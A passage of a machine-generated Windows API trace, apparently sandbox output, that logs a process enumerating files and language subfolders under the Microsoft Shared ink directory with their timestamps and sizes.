nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.898] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.898] GetProcessHeap () returned 0x6a0000 [0165.898] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.898] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0165.898] GetProcessHeap () returned 0x6a0000 [0165.898] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.901] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.901] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.901] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.902] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.902] GetProcessHeap () returned 0x6a0000 [0165.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.902] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0165.902] GetProcessHeap () returned 0x6a0000 [0165.902] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.902] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.902] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.902] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.902] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.902] GetProcessHeap () returned 0x6a0000 [0165.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.902] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0165.903] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0165.903] GetProcessHeap () returned 0x6a0000 [0165.903] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.904] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.904] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0165.904] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.904] GetProcessHeap () returned 0x6a0000 [0165.904] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.904] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0165.904] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0165.904] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0165.904] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0165.904] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0165.904] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0165.905] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0165.905] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0165.905] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0165.905] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0165.905] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0165.905] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0165.905] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0165.907] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, 